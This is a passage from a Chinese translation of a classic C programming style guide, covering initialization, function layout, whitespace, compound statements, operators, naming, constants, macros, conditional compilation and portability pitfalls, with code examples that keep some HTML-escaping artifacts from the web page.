*/\n};\n任何初值重要的变量都应该被显式地初始化，或者至少应该添加注释，说明依赖C的默认初始值0。空初始化\u0026quot;{}\u0026ldquo;应该永远不被使用。结构体初始化应 该用大括号完全括起来。用于初始化长整型(long)的常量应该使用显式长度。使用大写字母，例如2l看起来更像21，数字二十一。\nint x = 1;\nchar *msg = \u0026ldquo;message\u0026rdquo;;\nstruct boat winner[] = {\n{ 40, YAWL, 6000000L },\n{ 28, MOTOR, 0L },\n{ 0 },\n};\n如果一个文件不是独立程序，而是某个工程整体的一部分，那么我们应该最大化的利用static关键字，使得函数和变量对于单个文件来说是局部范畴 的。只有在有清晰需求且无法通过其他方式实现的特殊情况时，我们才允许变量被其他文件访问。这种情况下应该使用注释明确告知使用了其他文件中的变 量；注释应该说明其他文件的名字。如果你的调试器遮蔽了你需要在调试阶段查看的静态对象，那么可以将这些变量声明为STATIC，并根据需要决定 是否#define STATIC。\n最重要的类型应该被typedef，即使他们只是整型，因为独立的名字使得程序更加易读(如果只有很少的几个integer的typedef)。 结构体在声明时应该被typedef。保持结构体标志的名字与typedef后的名字相同。\ntypedef struct splodge_t {\nint sp_count;\nchar *sp_name, *sp_alias;\n} splodge_t;\n总是声明函数的返回类型。如果函数原型可用，那就使用它。一个常见的错误就是忽略那些返回double的外部数学函数声明。那样的话，编译器就会 假定这些函数的返回值为一个整型数，并且将bit位逐一尽职尽责的注意转换为一个浮点数(无意义)。\n\u0026ldquo;C语言的观点之一是程序员永远是对的\u0026rdquo; — Michael DeCorte\n5. 函数声明\n每个函数前面应该放置一段块注释，概要描述该函数做什么以及(如果不是很清晰)如何使用该函数。重要的设计决策讨论以及副作用说明也适合放在注释 中。避免提供那些代码本身可以清晰提供的信息。\n函数的返回类型应该单独占据一行，(可选的)缩进一个级别。不用使用默认返回类型int；如果函数没有返回值，那么将返回类型声明为void。如 果返回值需要大段详细的说明，可以在函数之前的注释中描述；否则可以在同一行中对返回类型进行注释。函数名(以及形式参数列表)应该被单独放在一 行，从第一列开始。目的(返回值)参数一般放在第一个参数位置(从左面开始)。所有形式参数声明、局部声明以及函数体中的代码都应该缩进一级。函 数体的开始括号应该单独一行，放在开始处的第一列。\n每个参数都应该被声明(不要使用默认类型int)。通常函数中每个变量的角色都应该被描述清楚，我们可以在函数注释中描述，或如果每个声明单独一 行，我们可以将注释放在同一行上。像循环计数器\u0026quot;i\u0026rdquo;，字符串指针\u0026quot;s\u0026quot;以及用于标识字符的整数类型\u0026quot;c\u0026quot;这些简单变量都无需注释。如果一组函数 都拥有一个相似的参数或局部变量，那么在所有函数中使用同一个名字来标识这个变量是很有益处的(相反，避免在相关函数中使用一个名字标识用途不同 的变量)。不同函数中的相似参数还应该放在各个参数列表中的相同位置。\n参数和局部变量的注释应该统一缩进以排成一列。局部变量声明应用一个空行与函数语句分隔开来。\n当你使用或声明变长参数的函数时要小心。目前在C中尚没有真正可移植的方式处理变长参数。最好设计一个使用固定个数参数的接口。如果一定要使用变 长参数，请使用标准库中的宏来声明具有变长参数的函数。\n如果函数使用了在文件中没有进行全局声明的外部变量(或函数)，我们应该在函数体内部使用extern关键字单独对这些变量进行声明。\n避免局部声明覆盖高级别的声明。尤其是，局部变量不应该在嵌套代码块中被重声明。虽然这在C中是合法的，但是当使用-h选项时，潜在的冲突可能性 足以让lint工具发出抱怨之声。\n6. 空白\nint i;main(){for(;i[\u0026quot;] o, world!\\n\u0026quot;,\u0026rsquo;/\u0026rsquo;/\u0026rsquo;/\u0026rsquo;));}read(j,i,p){write(j/p+p,i—j,i/i);}\n- 不光彩的事情，模糊C代码大赛，1984年。作者要求匿名。\n通常情况下，请使用纵向和横向的空白。缩进和空格应该反映代码的块结构。例如，在一个函数定义与下一个函数的注释之间，至少应该有两行空白。\n如果一个条件分支语句过长，那就应该将它拆分成若干单独的行。\nif (foo-\u0026gt;next==NULL \u0026amp;\u0026amp; totalcount\u0026lt;needed \u0026amp;\u0026amp; needed\u0026lt;=MAX_ALLOT\n\u0026amp;\u0026amp; server_active(current_input)) { …\n也许下面这样更好\nif (foo-\u0026gt;next == NULL\n\u0026amp;\u0026amp; totalcount \u0026lt; needed \u0026amp;\u0026amp; needed \u0026lt;= MAX_ALLOT\n\u0026amp;\u0026amp; server_active(current_input))\n{\n…\n类似地，复杂的循环条件也应该被拆分为不同行。\nfor (curr = *listp, trail = listp;\ncurr != NULL;\ntrail = \u0026amp;(curr-\u0026gt;next), curr = curr-\u0026gt;next )\n{\n…\n其他复杂的表达式，尤其是那些使用了?:操作符的表达式，最好也能拆分成多行。\nc = (a == b)\n? d + f(a)\n: f(b) – d;\n当关键字后面有放在括号内的表达式时，应该使用空格将关键字与左括号分隔(sizeof操作符是个例外)。在参数列表中，我们也应该使用空格显式 的将各个参数隔开。然而，带有参数的宏定义一定不能在名字与左括号间插入空格，否则C预编译器将无法识别后面的参数列表。\n7. 例子\n/*\n* Determine if the sky is blue by checking that it isn\u0026rsquo;t night.\n* CAVEAT: Only sometimes right. May return TRUE when the answer\n* is FALSE. Consider clouds, eclipses, short days.\n* NOTE: Uses \u0026lsquo;hour\u0026rsquo; from \u0026lsquo;hightime.c\u0026rsquo;. Returns \u0026lsquo;int\u0026rsquo; for\n* compatibility with the old version.\n*/\nint /* true or false */\nskyblue()\n{\nextern int hour; /* current hour of the day */\nreturn (hour \u0026gt;= MORNING \u0026amp;\u0026amp; hour \u0026lt;= EVENING);\n}\n/*\n* Find the last element in the linked list\n* pointed to by nodep and return a pointer to it.\n* Return NULL if there is no last element.\n*/\nnode_t *\ntail(nodep)\nnode_t *nodep; /* pointer to head of list */\n{\nregister node_t *np; /* advances to NULL */\nregister node_t *lp; /* follows one behind np */\nif (nodep == NULL)\nreturn (NULL);\nfor (np = lp = nodep; np != NULL; lp = np, np = np-\u0026gt;next)\n; /* VOID */\nreturn (lp);\n}\n8. 简单语句\n每行只应该有一条语句，除非多条语句关联特别紧密。\ncase FOO: oogle (zork); boogle (zork); break;\ncase BAR: oogle (bork); boogle (zork); break;\ncase BAZ: oogle (gork); boogle (bork); break;\nfor或while循环语句的空体应该单独放在一行并加上注释，这样可以清晰的看出空体是有意而为，并非遗漏代码。\nwhile (*dest++ = *src++)\n; /* VOID */\n不要对非零表达式进行默认测试，例如：\nif (f() != FAIL)\n比下面的代码更好\nif (f())\n即使FAIL的值可能为0(在C中0被认为是假)。当后续有人决定使用-1替代0作为失败返回值时，一个显式的测试将解决你的问题。即使比较的值 永远不会改变，我们也应该使用显式的比较；例如\nif (!(bufsize % sizeof(int)))\n应该被写成\nif ((bufsize % sizeof(int)) == 0)\n这样可以反映这个测试的数值(非布尔)本质。一个常见的错误点是使用strcmp测试字符串是否相同，这个测试的结果永远不应该被放弃。比较好的 方法是定义一个宏STREQ。\n#define STREQ(a, b) (strcmp((a), (b)) == 0)\n对谓词或满足下面约束的表达式，非零测试经常被放弃：\n0表示假，其他都为真。\n通过其命名可以看出返回真是显而易见的。\n用isvalid或valid称呼一个谓词，不要用checkvalid。\n一个非常常见的实践就是在一个全局头文件中声明一个布尔类型\u0026quot;bool\u0026quot;。这个特殊的名字可以极大地提高代码可读性。\ntypedef int bool;\n#define FALSE 0\n#define TRUE 1\n或\ntypedef enum { NO=0, YES } bool;\n即便有了这些声明，也不要检查一个布尔值与1(TRUE，YES等)的相当性；可用测试与0(FALSE，NO等)的不等性替代。绝大多数函数都 可以保证为假的时候返回0，但为真的时候只返回非零。\nif (func() == TRUE) { …\n必须被写成\nif (func() != FALSE) { …\n如果可能的话，最好为函数/变量重命名或者重写这个表达式，这样就可以显而易见的知道其含义，而无需再与true或false比较了(例如，重命 名为isvalid())。\n嵌入赋值语句也有用武之地。在一些结构中，在没有降低代码可读性的前提下，没有比这更好的方式来实现这个结果了。\nwhile ((c = getchar()) != EOF) {\nprocess the character\n}\n++和–操作符可算作是赋值语句。这样，为了某些意图，实现带有副作用的功能。使用嵌入赋值语句也可能提高运行时的性能。不过，大家应该在提高 的性能与下降的可维护性之间做好权衡。当在一些人为的地方使用嵌入赋值语句时，这种情况会发生，例如：\na = b + c;\nd = a + r;\n不应该被下面代码替代：\nd = (a = b + c) + r;\n即使后者可能节省一个计算周期。在长期运行时，由于优化器渐获成熟，两者的运行时间差距将下降，而两者在维护性方面的差异将提高，因为人类的记忆 会随着时间的流逝而衰退。\n在任何结构良好的代码中，goto语句都应该保守地使用。使用goto带来好处最大的地方是从switch、for和while多层嵌套中跳出， 但这样做的需求也暗示了代码的内层结构应该被抽取出来放到一个单独的返回值为成功或失败的函数中。\nfor (…) {\nwhile (…) {\n…\nif (disaster)\ngoto error;\n}\n}\n…\nerror:\nclean up the mess\n当需要goto时候，其对应的标签应该被放在单独一行，并且后续的代码缩进一级。使用goto语句时应该增加注释(可能放在代码块的头)以说明它 的功用和目的。continue应该保守地使用，并且尽可能靠近循环的顶部。Break的麻烦比较少。\n非原型函数的参数有时需要被显式做类型提升。例如，如果函数期望一个32bit的长整型，但却被传入一个16bit的整型数，可能会导致函数栈不 对齐。指针，整型和浮点值都会发生此问题。\n9. 复合语句\n复合语句是一个由括号括起来的语句列表。有许多种常见的括号格式化方式。如果你有一个本地标准，那请你与本地标准保持一致，或选择一个标准，并持 续地使用它。在编辑别人的代码时，始终使用那些代码中使用的样式。\ncontrol {\nstatement;\nstatement;\n}\n上面的风格被称为\u0026quot;K\u0026amp;R风格\u0026quot;，如果你还没有找到一个自己喜欢的风格，那么可以优先考虑这个风格。在K\u0026amp;R风格中，if- else语句中的else部分以及do-while语句中的while部分应该与结尾大括号在同一行中。而其他大部分风格中，大括号都是单独占据 一行的。\n当一个代码块拥有多个标签时，每个标签应该单独放在一行上。必须为C语言的switch语句的fall-through特性(即在代码段与下一个 case语句之前间没有break)增加注释以利于后期更好的维护。最好是lint风格的注释/指示。\nswitch (expr) {\ncase ABC:\ncase DEF:\nstatement;\nbreak;\ncase UVW:\nstatement;\n/*FALLTHROUGH*/\ncase XYZ:\nstatement;\nbreak;\n}\n这里，最后那个break是不必要的，但却是必须的，因为如果后续另外一个case添加到最后一个case的后面时，它将阻止fall- through错误的发生。如果使用default case，那么应该该default case放在最后，且不需要break，如果它是最后一个case。\n一旦一个if-else语句在if或else段中包含一个复合语句，if和else两个段都应该用括号括上(称为全括号(fully bracketed)语法)。\nif (expr) {\nstatement;\n} else {\nstatement;\nstatement;\n}\n在如下面那样的没有第二个else的if-if-else语句序列里，括号也是不必可少的。如果ex1后面的括号被省略，编译器解析将出错：\nif (ex1) {\nif (ex2) {\nfunca();\n}\n} else {\nfuncb();\n}\n一个带else if的if-else语句在书写上应该让else条件左对齐。\nif (STREQ (reply, \u0026ldquo;yes\u0026rdquo;)) {\nstatements for yes\n…\n} else if (STREQ (reply, \u0026ldquo;no\u0026rdquo;)) {\n…\n} else if (STREQ (reply, \u0026ldquo;maybe\u0026rdquo;)) {\n…\n} else {\nstatements for default\n…\n}\n这种格式看起来像一个通用的switch语句，并且缩进反映了在这些候选语句间的精确切换，而不是嵌套的语句。\nDo-while循环总是使用括号将循环体括上。\n下面的代码非常危险：\n#ifdef CIRCUIT\n# define CLOSE_CIRCUIT(circno) { close_circ(circno); }\n#else\n# define CLOSE_CIRCUIT(circno)\n#endif\n…\nif (expr)\nstatement;\nelse\nCLOSE_CIRCUIT(x)\n++i;\n注意，在CIRCUIT没有定义的系统上，语句++i仅仅在expr是假的时候获得执行。这个例子指出宏用大写命名的价值，以及让代码完全括号化 的价值。\n有些时候，通过break，continue，goto或return，if可以无条件地进行控制转移。else应该是隐式的，并且代码不应该缩 进。\nif (level \u0026gt; limit)\nreturn (OVERFLOW)\nnormal();\nreturn (level);\n平坦的缩进告诉读者布尔测试在密封块的其他部分是保持不变的。\n10. 操作符\n一元操作符不应该与其唯一的操作数分开。通常，所有其他二元操作符都应该使用空白与其操作树分隔开，但\u0026rsquo;.\u0026lsquo;和\u0026rsquo;-\u0026gt;\u0026lsquo;例外。当遇到复杂表 达式的时候我们需要做出一些判断。如果内层操作符没有使用空白分隔而外层使用了，那么表达式也许会更清晰些。\n如果你认为一个表达式很难于阅读，可以考虑将这个表达式拆分为多行。在接近中断点的最低优先级操作符处拆分是最好的选择。由于C具有一些想不到的 优先级规则，混合使用操作符的表达式应该使用括号括上。但是过多的括号也会使得代码可读性变差，因为人类不擅长做括号匹配。\n二元逗号操作符也会被使用到，但通常我们应该避免使用它。逗号操作符的最大用途是提供多元初始化或操作，比如在for循环语句中。复杂表达式，例 如那些使用了嵌套三元?:操作符的表达式，可能引起困惑，并且应该尽可能的避免使用。三元操作符和逗号操作符在一些使用宏的地方很有用，诸如 getchar。在三元操作符?:前的逻辑表达式的操作数应该被括起来，并且两个子表达式的返回值应该是相同类型。\n11. 命名约定\n毫无疑问，每个独立的工程都有一套自己的命名约定，不过仍然有一些通用的规则值得参考。\n* 为系统用途保留以下划线开头或下划线结尾的名字，并且这些名字不应该被用在任何用户自定义的名字中。大多数系统使用这些名字用于用户不应 该也不需知道的名字中。如果你一定要使用你自己私有的标识符，可以用标识它们归属的包的字母作为开头。\n* #define定义的常量名字应该全部大写。\n* Enum常量应该大写或全部大写。\n* 函数名、typedef名，变量名以及结构体、联合体与枚举标志的名字应该用小写字母。\n* 很多\u0026quot;宏函数\u0026quot;都是全部大写的。一些宏(诸如getchar和putchar)使用小写字母命名，这事因为他们可能被当成函数使用。只有在宏的行为类似一 个函数调用时才允许小写命名的宏，也就是说它们只对其参数进行一次求值，并且不会给具名形式参数赋值。有些时候我们无法编写出一个具有函数行为的 宏，即使其参数也只是求值一次。\n* 避免在同一情形下使用不同命名方式，比如foo和Foo。同样避免foobar和foo_bar这种方式。需要考虑这样所带来的困惑。\n* 同样，避免使用看起来相似的名字。在很多终端以及打印设备上，\u0026lsquo;I\u0026rsquo;、\u0026lsquo;1\u0026rsquo;和\u0026rsquo;l\u0026rsquo;非常相似。给变量命名为l特别糟糕，因为它看起来十分像常量'1\u0026rsquo;。\n通常，全局名字(包括enum)应该具有一个统一的前缀，通过该前缀名我们可以识别出这个名字归属于哪个模块。全局变量可以选择汇集在一个全局结 构中。typedef的名字通常在结尾加一个\u0026rsquo;t\u0026rsquo;。\n避免名字与各种标准库中的名字冲突。一些系统可能包含一些你所不需要的库。另外你的程序将来某天很可能也要扩展。\n12. 常量\n数值型常量不应该被硬编码到源文件中。应该使用C预处理器的#define特性为常量赋予一个有意义的名字。符号化的常量可以让代码具有更好的可 读性。在一处地方统一定义这些值也便于进行大型程序的管理，这样常量值可以在一个地方进行统一修改，只需修改define的值即可。枚举数据类型 更适合声明一组具有离散值的变量，并且编译器还可以对其进行额外的类型检查。至少，任何硬编码的值常量必须具有一段注释，以说明该值的来历。\n常量的定义应该与其使用是一致的；例如使用540.0作为一个浮点数，而不是使用540外加一个隐式的float类型转换。有些时候常量0和1被 直接使用而没有用define进行定义。例如，一个for循环语句中用于标识数组下标的常量，\nfor (i = 0; i \u0026lt; ARYBOUND; i++)\n上面代码是合理的，但下面代码\ndoor_t *front_door = opens(door[i], 7);\nif (front_door == 0)\nerror(\u0026ldquo;can\u0026rsquo;t open %s\\\\\\\\n\u0026rdquo;, door[i]);\n是不合理的。在最后的那个例子中，front_door是一个指针。当一个值是指针的时候，它应该与NULL比较而不是与0比较。NULL被定义 在标准I/O库头文件stdio.h中，在一些新系统中它在stdlib.h中定义。即使像1或0这样的简单值，我们最好也用define定义成 TRUE和FALSE定义后再使用(有些时候，使用YES和NO可读性更好)。\n简单字符常量应该被定义成字面值，不应该使用数字。不鼓励使用非可见文本字符，因为它们是不可移植的。如果非可见文本字符十分必要，尤其是当它们 在字符串中使用时，它们应该定义成三个八进制数字的转义字符(例如： \u0026lsquo;\\007‘)而非一个字符。即使这样，这种用法也应该考虑其机器相关性，并按这里的方法处理。\n13. 宏\n复杂表达式可能会被用作宏参数，这可能会因操作符优先级顺序而引发问题，除非宏定义中所有参数出现的位置都用括号括上了。对这种因参数内副作用而 引发的问题，我们似乎也无能为例，除了在编写表达式时杜绝副作用(无论如何，这都是一个很好的主意)。如果可能的话，尽量在宏定义中对宏参数只进 行一次求值。有很多时候我们无法写出一个可像函数一样使用的宏。\n一些宏也当成函数使用(例如，getc和fgetc)。这些宏会被用于实现其他函数，这样一旦宏自身发生变化，使用该宏的函数也会受到影响。在交 换宏和函数时务必要小心，因为函数参数是按值传递的，而宏参数则是通过名称替换。只有在宏定义时特别谨慎小心，才有可能减少使用宏时的担心。\n宏定义中应该避免使用全局变量，因为全局变量的名字很可能被局部声明遮盖。对于那些对具名参数进行修改(不是这些参数所指向的存储区域)或被用作 赋值语句左值的宏，我们应该添加相应的注释以给予提醒。那些不带参数但引用变量，或过长或作为函数别名的宏应该使用空参数列表，例如：\n#define OFF_A() (a_global+OFFSET)\n#define BORK() (zork())\n#define SP3() if (b) { int x; av = f (\u0026amp;x); bv += x; }\n宏节省了函数调用和返回的额外开销，但当一个宏过长时，函数调用和返回的额外开销就变得微不足道了，这种情况下我们应该使用函数。\n在一些情况下，让编译器确保宏在使用时应该以分号结尾是很有必要的。\nif (x==3)\nSP3();\nelse\nBORK();\n如果省略SP3调用后面的分号，后面的else将会匹配到SP3宏中的那个if。有了分号，else分支就不会与任何if匹配。SP3宏可以这样 安全地实现：\n#define SP3() \\\\\\\\\ndo { if (b) { int x; av = f (\u0026amp;x); bv += x; }} while (0)\n手工给宏定以加上do-while包围看起来很别扭，而且很多编译器和工具会抱怨在while条件是一个常量值。一个用来声明语句的宏可以使得编 码更加容易：\n#ifdef lint\nstatic int ZERO;\n#else\n# define ZERO 0\n#endif\n#define STMT( stuff ) do { stuff } while (ZERO)\n我们可以用下面代码来声明SP3宏：\n#define SP3() \\\\\\\\\nSTMT( if (b) { int x; av = f (\u0026amp;x); bv += x; } )\n使用STMT宏可以有效阻止一些可以潜在改变程序行为的打印排版错误。\n除了类型转换、sizeof以及上面那些技巧和手法，只有当整个宏用括号括上时才应该包含关键字。\n14. 条件编译\n条件编译在处理机器依赖、调试以及编译阶段设定特定选项时十分有用。不过要小心条件编译。各种控制很容易以一种无法预料的方式结合在一起。如果使 用#ifdef判断机器依赖，请确保当没有机器类型适配时，返回一个错误，而不是使用默认机器类型(使用#error并缩进一级，这样它可以一些老旧的编 译器下工作)。如果你#ifdef优化选项，默认情况下应该是一个未经优化的代码，而不是一个不兼容的程序。确保测试的是未经优化的代码。\n注意在#ifdef区域内的文本可能会被编译器扫描(处理)，即使#ifdef求值的结果为假。但即使文件的#ifdef部分永远不能被编译到(例如，#ifdef COMMENT)，这部分也不该随意的放置文本。\n尽可能地将#ifdefs放在头文件中，而不是源文件中。使用#ifdef定义可以在源码中统一使用的宏。例如，一个用于检查内存分配的头文件可能这样实现：(省略了REALLOC和FREE)：\n#ifdef DEBUG\nextern void *mm_malloc();\n# define MALLOC(size) (mm_malloc(size))\n#else\nextern void *malloc();\n# define MALLOC(size) (malloc(size))\n#endif\n条件编译通常应该基于一个接一个的特性的。多数情况下，都应该避免使用机器或操作系统依赖。\n#ifdef BSD4\nlong t = time ((long *)NULL);\n#endif\n上面代码之所以糟糕有两个原因：很可能在某个4BSD系统上有更好的选择，并且也可能存在在某个非4BSD系统中上述代码是最佳代码。我们可以通过定义诸 如TIME_LONG和TIME_STRUCTD等宏作为替代，并且在诸如config.h的配置文件中定义一个合适的宏。\n16. 可移植性\n\u0026ldquo;C语言结合了汇编的强大功能和可移植性\u0026rdquo; — 无名氏，暗指比尔.萨克。\n可移植代码的好处是有目共睹的。这一节将阐述一些编写可移植代码的指导原则。这里\u0026quot;可移植的\u0026quot;是指一个源码文件能够在不同机器上被编译和执行，其 前提仅仅是在不同平台上可能包含不同的头文件，使用不同的编译器开关选项罢了。头文件包含的#define和typedef可能因机器而异。一般 来说，一个新\u0026quot;机器\u0026quot;是指一种不同的硬件，一种不同的操作系统，一个不同的编译器，或者是这些的任意组合。参考1包含了很多关于风格和可移植 性方面的有用信息。下面是一个隐患列表，当你设计可移植代码时应该考虑避免这些隐患：\n* 编写可移植的代码。只有当被证明是必要的情况下才考虑优化的细节。优化后的代码往往是模糊不清、难以理解的。在一台机器上经过优化后的代码，在其他机器上 可能变得更加糟糕。将采用的性能优化手段记录下来并尽可能多地本地化。文档应该解释这些手段的工作原理以及引入它们的原因（例如：\u0026ldquo;循环执行了无 数次\u0026rdquo;）\n* 要意识到很多东西天生就是不可移植的。比如处理类似程序状态字这样的特定硬件寄存器的代码，以及被设计用于支持某特定硬件部件的代码，诸如汇编器以及 I/O驱动。即使在这种情况下，许多例程和数据仍然可以被设计成机器无关的。\n* 组织源文件时将机器无关与机器相关的代码分别放在不同文件中。之后如果这个程序需要被移植到一个新机器上时，我们就可以很容易判断出来哪些需要被改变。为 一些文件的头文件中机器依赖相关的代码添加注释。\n* 任何\u0026quot;实现相关\u0026quot;的行为都应该作为机器(编译器)依赖对待。假设编译器或硬件以一种十分古怪的方式实现它。\n* 注意机器字长。对象的大小可能不直观，指针大小也不总是与整型大小相同，也不总是彼此大小相同，或者可相互自由转换。下面的表中列举了C语言基本类型在不 同机器和编译器下的大小(以bit为单位)。\ntype pdp11 VAX/11 68000 Cray-2 Unisys Harris 80386\nseries family 1100 H800\nchar 8 8 8 8 9 8 8\nshort 16 16 8/16 64(32) 18 24 8/16\nint 16 32 16/32 64(32) 36 24 16/32\nlong 32 32 32 64 36 48 32\nchar* 16 32 32 64 72 24 16/32/48\nint* 16 32 32 64(24) 72 24 16/32/48\nint(*)() 16 32 32 64 576 24 16/32/48\n有些机器针对某一类型可能有不止一个大小。其类型大小取决于编译器和不同的编译期标志。下面表展示了大多数系统的\u0026quot;安全\u0026quot;类型大小。无符号与带符 号数具有相同的大小(单位:bit)。\nType Minimum No Smaller\n# Bits Than\nchar 8 short 16 char\nint 16 short\nlong 32 int\nfloat 24 double 38 float\nany * 14 char * 15 any *\nvoid * 15 any *\n* void类型可以保证有足够位精度来表示一个指向任意数据对象的指针。void()()类型可以保证表示一个指向任意函数的指针。当你需要通用指针时 可以使用这些类型(在一些旧的编译器里，分别用char和char()()表示)。确保在使用这些指针类型之前将其转换回正确的类型。\n* 即使说一个int和一个char类型大小相同，它们仍可能具有不同的格式。例如，下面例子在一些sizeof(int)等于 sizeof(char)的机器上可能失败。其原因在与free函数期望一个char，但却传入了一个int。\nint *p = (int *) malloc (sizeof(int));\nfree (p);\n* 注意，一个对象的大小不能保证这个对象的精度。Cray-2可能使用64位来存储一个整型，但一个长整型转换为一个整型并且再转换回长整型后可能会被截断 为32位。\n* 整型常量0可以强制转型为任何指针类型。转换后的指针称为对应那个类型的空指针，并且与那个类型的其他指针不同。空指针比较总是与常量0相当。空指针不应 该与一个值为0的变量比较。空指针不总是使用全0的位模式表示。两个不同类型的空指针有些时候可能不同。某个类型的空指针被强制转换为另外一个类 型的指针，其结果是该指针转换为第二个类型的空指针。\n* 对于ANSI编译器，当两个类型相同的指针访问同一块存储区时，则它们比较是相等的。当一个非0整型常量被转换为指针类型时，它们可能与其他指针相等。对 于非ANSI编译器，访问同一块存储区的两个指针比较可能并不相同。例如，下面两个指针比较可能相等或不相等，并且他们可能或可能没有访问同一块 存储区域。\n((int *) 2 )\n((int *) 3 )\n如果你需要\u0026rsquo;magic\u0026rsquo;指针而不是NULL，要么分配一些内存，要么将指针视为机器相关的。\nextern int x_int_dummy; /* in x.c */\n#define X_FAIL (NULL)\n#define X_BUSY (\u0026amp;x_int_dummy)\n#define X_FAIL (NULL)\n#define X_BUSY MD_PTR1 /* MD_PTR1 from \u0026ldquo;machdep.h\u0026rdquo; */\n* 浮点数字既包含精度也包含范围。这些都是数据对象大小无关的。但是，一个32位浮点数在不同机器上溢出时的值有所不同。同时，4.9乘以5.1在不同的机 器上可能产生两个不同的数字。在圆整(rounding)和截断方面的差异将给出特别不同的答案。\n* 在一些机器上，一个双精度浮点数在精度或范围方面可能比一个单精度浮点数还要低。\n* 在一些机器上，double值的前半部分可能是一个具有相同值的float类型。千万不要依赖于此。\n* 提防带符号字符。例如，在某些VAX系统上，用在表达式中的字符是符号扩展的，但在其他一些机器上并非如此。对有符号和无符号有依赖的代码是不可移植的。 例如，如果假设c是正值，arrayc在c为有符号且为负值时将无法正常工作。如果你一定要假设signed或unsigned字符的话，请 用SIGNED或UNSIGNED为其加上注释。无符号字符的行为可由unsigned char保证。\n* 避免对ASCII做假设。如果你必须假设，那么请将其记录下来并本地化。请记住字符很可能用不止8位表示。\n* 大多数机器采用2的补码表示数，但我们在代码中不应该利用这一特点。使用等价移位操作替代算术运算的优化尤其值得怀疑。如果必须这么做，那么机器相关的代 码应该用#ifdef定义，或者操作应该在#ifdef宏判定下执行。你应该衡量一下使用这种难以理解的代码所节省的时间与做代码移植时找bug 所花费的时间相比孰多孰少。\n* 一般情况下，如果字长或值范围非常重要，应该使用typedef定义具有特定大小的类型。大型程序应该具有一个统一的头文件用于提供通用的、大小 (size)敏感的类型的typedef定义，这样更加便于修改以及在紧急修复时查找大小敏感的代码。无符号类型比有符号整型更加编译器无关。如 果既可以用16bit也可以用32bit标识一个简单for循环的计数器，我们应该使用int。因为对于当前机器来说，通过整型可以获取更高效 (自然)的存储单元。\n* 数据对齐也很重要。例如，在不同的机器上，一个四字节的整型数的可能以任意地址作为起始地址，也可能只允许以偶数地址作为起始地址，或者只能以4的整数倍 的地址作为起始地址。因此，一个特定的结构体的各个元素在不同的机器上的偏移量有不同，即使给定的这些元素在所有机器上的大小相同。事实上，一个 包含一个32位指针和一个8位字符的结构提在三个不同的机器上可能有三个不同的大小。作为一个推论，对象指针可能无法自由互换；通过一个指向起始 地址为奇数地址长度为4个字节的指针保存一个整型数有时可以正常工作，但有时则会导致产生core，有些时候静悄悄地失败了(在这个过程中会破坏 其他数据)。在那些不按字节寻址的机器上，字符指针更是\u0026quot;事故高发地区\u0026quot;。对齐考虑以及加载器的特殊性使得很容易轻率地认为两个连续声明的变量在 内存中也是连在一起的，或者某个类型的变量已经被适当对齐并可以用作其他类型变量使用了。\n* 在一些机器上，诸如VAX(小端)，一个字的字节随着地址的增加，其重要性提高；而另外一些机器上，诸如68000(大端)，随着地址的增加，其重要性降 低。字或更大数据对象(诸如一个双精度字)的字节顺序可能并不相同。因此，任何依赖对象内从左到右方向位模式的代码都值得特别细致的审查。只有当 结构体中两个不同的位字段不被连接以及不被当作一个单元时，这些位字段才具备可移植性。事实上，连接任意两个变量都是不可移植的行为。\n* 结构体中有一些未使用的空洞。猜想联合体用于类型欺骗。尤其是，一个值不应该在存储时使用一个类型，而在读取时使用另外一种类型。对联合体来说，一个显式 的标签(tag)字段可能会很有用。\n* 不同的编译器在返回结构体时使用不同的约定。这就会导致代码在接受从不同编译器编译的库代码中返回的结构体值时会出现错误。结构体指针不是问题。\n* 不要假设参数传递机制。特别是指针大小以及参数求值顺序，大小等。例如，下面的代码就不具备可移植性。\nc = foo (getchar(), getchar());\nchar\nfoo (c1, c2, c3)\nchar c1, c2, c3;\n{\nchar bar = *(\u0026amp;c1 + 1);\nreturn (bar); /* often won\u0026rsquo;t return c2 */\n}\n* 上面的例子有诸多问题。栈可能向上增长，也可能向下增长(事实上，甚至都不需要一个栈)。参数在传入时可能被扩大，例如一个char可能以int型被传 入。参数可能以从左到右，从右到左，或以任意顺序压入栈，或直接放在寄存器中(根本无需压栈)。参数求值的顺序也可能与压栈的次序有所不同。一个 编译器可能使用多种(不兼容的)调用约定。\n* 在某些机器上，空字符指针((char *)0)常被当作指向空字符串的指针对待。不要依赖于此。\n* 不要修改字符串常量。下面就是一个臭名昭著的例子\ns = \u0026ldquo;/dev/tty??\u0026rdquo;;\nstrcpy (\u0026amp;s[8], ttychars);\n* 地址空间可能有空洞。简单计算一个数组中未分配空间的元素(在数组实际存储区域之前或之后)的地址可能会导致程序崩溃。如果这个地址被用于比较，有时程序 可以运行，但会破坏数据，报错，或陷入死循环。在ANSI C中，指向一个对象数组的指针指向数组结尾后的第一个元素是合法的，这在一些老编译器上通常是安全的。不过这个\u0026quot;在外边\u0026quot;不可以被解引用。\n* 只有==和!=比较可用于某给定类型的所有指针。当两个指针指向同一个数组内的元素(或数组后第一个元素)时，使用\u0026laquo;、\u0026lt;=、\u0026amp; amp; gt;或\u0026gt;=对两个指针进行比较是可移植的。同样，仅仅对指向同一个数组内的元素(或数组后第一个元素)的两个指针使用算术操作符才是可移 植的。\n* 字长(word size)也影响移位和掩码。下面代码在一些68000机器上只会将一个整型数的最右三个位清0，而在其他机器上它还会将高地址的两个字节清零。x \u0026amp;= 0177770 使用 x \u0026amp;= ~07可以在所有机器上正常工作。位字段(bitfield)没有这些问题。\n* 表达式内的副作用可能导致代码语义是编译器相关的，因为在大多数情况下C语言的求值顺序是没有显式定义的。下面是一个臭名昭著的例子：\na[i] = b[i++];\n在上面的例子中，我们只知道b的下标值没有被增加。a的下标i值可能是自增后的值也可能是自增前的值。\nstruct bar_t { struct bar_t *next; } bar;\nbar-\u0026gt;next = bar = tmp;\n在第二个例子中，bar-\u0026gt;next的地址很可能在bar被赋值之前被计算使用。\nbar = bar-\u0026gt;next = tmp;\n第三个例子中，bar可能在bar-\u0026gt;next之前被赋值。虽然这可能有悖于\u0026quot;赋值从右到左处理\u0026quot;的规则，但这确是一个合法的解析。考虑下 面的例子：\nlong i;\nshort a[N];\ni = old\ni = a[i] = new;\n赋给i的值必须是一个按照从右到左的处理顺序进行赋值处理后的值。但是i可能在ai被赋值前而被赋值为\u0026quot;(long) (short)new\u0026quot;。不同编译器作法不同。\n* 质疑代码中出现的数值(“魔数”)。\n* 避免使用预处理器技巧。一些诸如使用/ /粘和字符串以及依赖参数字符串展开的宏会破坏代码可靠性。\n#define FOO(string) (printf(\u0026ldquo;string = 